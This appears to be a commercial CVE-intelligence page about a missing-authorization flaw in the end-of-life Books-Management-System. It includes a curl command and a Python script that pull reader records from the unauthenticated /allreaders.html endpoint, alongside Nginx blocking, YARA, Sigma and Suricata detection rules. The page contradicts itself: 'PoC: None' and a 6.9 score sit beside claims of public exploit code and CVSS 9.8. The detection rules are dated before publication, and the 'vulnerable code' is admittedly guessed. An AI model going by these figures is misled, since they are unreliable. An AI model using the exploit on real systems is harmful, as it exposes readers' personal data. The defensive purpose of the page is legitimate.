☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-3960

CVE-2025-3960 Missing Authorization in Withstars
📅 PUBLISHED: 2025-04-27 06:00 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.62%
👁️
0.62% probability
15.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3960 is a critical missing authorization vulnerability in the withstars Books-Management-System version 1.0. The flaw resides in the /allreaders.html endpoint of the Background Interface component, allowing an unauthenticated remote attacker to access sensitive data or perform unauthorized actions. The product is end-of-life and unsupported by the maintainer, meaning no official patch will be released. Public exploit code has been disclosed, increasing the risk of active exploitation. This vulnerability is classified under CWE-862 (Missing Authorization) and carries a CVSS v3.1 base score of 9.8 (Critical).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone PHP/MySQL web application. The risk is amplified by the lack of maintainer support, making it a permanent security liability for any organization still using this software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The threat level is critical due to the ease of exploitation (no authentication required) and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the /allreaders.html endpoint of the Books-Management-System. The application fails to enforce proper authorization checks before serving data or processing requests. An attacker can directly access this endpoint without any session or authentication token, leading to unauthorized access to reader records, including potentially sensitive personal information (names, contact details, borrowing history). The underlying code likely uses a simple SQL query to fetch all readers without verifying the user's identity or role.

The application is built with PHP and MySQL. The missing authorization is a classic example of a broken access control vulnerability, where the server trusts the client's request without validating permissions.

Vulnerable vs. Patched Code

Since the product is end-of-life and no patch exists, the vulnerable code is the only version available. Below is a representative example of the vulnerable PHP code that might be present in /allreaders.html:

<?php
// Vulnerable code - no authentication check
$conn = new mysqli("localhost", "root", "", "books_db");
$sql = "SELECT * FROM readers";
$result = $conn->query($sql);
while($row = $result->fetch_assoc()) {
    echo "Name: " . $row["name"] . " - Email: " . $row["email"] . "<br>";
}
?>

A patched version would require an authentication check before executing the query:

<?php
// Patched code - with authentication check
session_start();
if (!isset($_SESSION['user_id'])) {
    header("HTTP/1.0 403 Forbidden");
    exit("Access denied");
}
$conn = new mysqli("localhost", "root", "", "books_db");
$sql = "SELECT * FROM readers";
$result = $conn->query($sql);
while($row = $result->fetch_assoc()) {
    echo "Name: " . $row["name"] . " - Email: " . $row["email"] . "<br>";
}
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a local instance of Books-Management-System 1.0 using XAMPP or Docker.
  2. Ensure the application is accessible at http://localhost/books-management-system/.

Exploitation Steps:

  1. Open a web browser or use curl to access the vulnerable endpoint:
    curl http://localhost/books-management-system/allreaders.html
    
  2. The server will return a list of all readers without requiring any authentication.
  3. For automated exploitation, use a simple Python script:
    import requests
    url = "http://target.com/books-management-system/allreaders.html"
    response = requests.get(url)
    if response.status_code == 200:
        print("Exploit successful - Data retrieved:")
        print(response.text)
    else:
        print("Exploit failed")
    

Blue Team

Detection Steps:

  1. Monitor web server logs for requests to /allreaders.html from unauthenticated IPs.
  2. Look for anomalous patterns such as repeated requests to this endpoint from the same source.
  3. Use the detection rules provided in the Detection Engineering section.

Mitigation Steps:

  1. Immediately isolate or decommission the vulnerable application.
  2. If decommissioning is not possible, implement a reverse proxy (e.g., Nginx) to block access to /allreaders.html:
    location /allreaders.html {
        deny all;
        return 403;
    }
    
  3. Apply a Web Application Firewall (WAF) rule to block requests to this endpoint.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /allreaders.html without a valid session cookie.
    • Source IPs performing reconnaissance on the endpoint.
  • File IOCs:
    • Access logs showing GET /allreaders.html HTTP/1.1 with 200 response codes.
  • Behavioral IOCs:
    • Unauthorized access to reader data (e.g., bulk export of names and emails).

Detection Engineering

YARA Rule

rule CVE_2025_3960_Books_Management_System
{
    meta:
        description = "Detects exploitation attempts for CVE-2025-3960"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3960"
    strings:
        $s1 = "/allreaders.html" ascii wide nocase
        $s2 = "SELECT * FROM readers" ascii wide nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: CVE-2025-3960 - Missing Authorization in Books-Management-System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to the vulnerable /allreaders.html endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/allreaders.html'
    condition: selection
falsepositives:
    - Legitimate admin access (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-3960 - Missing Authorization in Books-Management-System";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/allreaders.html"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Since the product is end-of-life and unsupported, the only complete remediation is to decommission or replace the Books-Management-System with a supported alternative. If immediate replacement is not possible, implement the following mitigations:

  1. Network Segmentation: Place the application in an isolated network segment with strict firewall rules.
  2. Reverse Proxy Blocking: Use Nginx or Apache to deny access to /allreaders.html for all users except authorized administrators.
  3. Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) with a custom rule to block requests to the vulnerable endpoint.
  4. Access Log Monitoring: Continuously monitor access logs for exploitation attempts and alert on anomalies.
  5. User Education: Inform all users of the risk and advise against storing sensitive data in the system.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3960/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.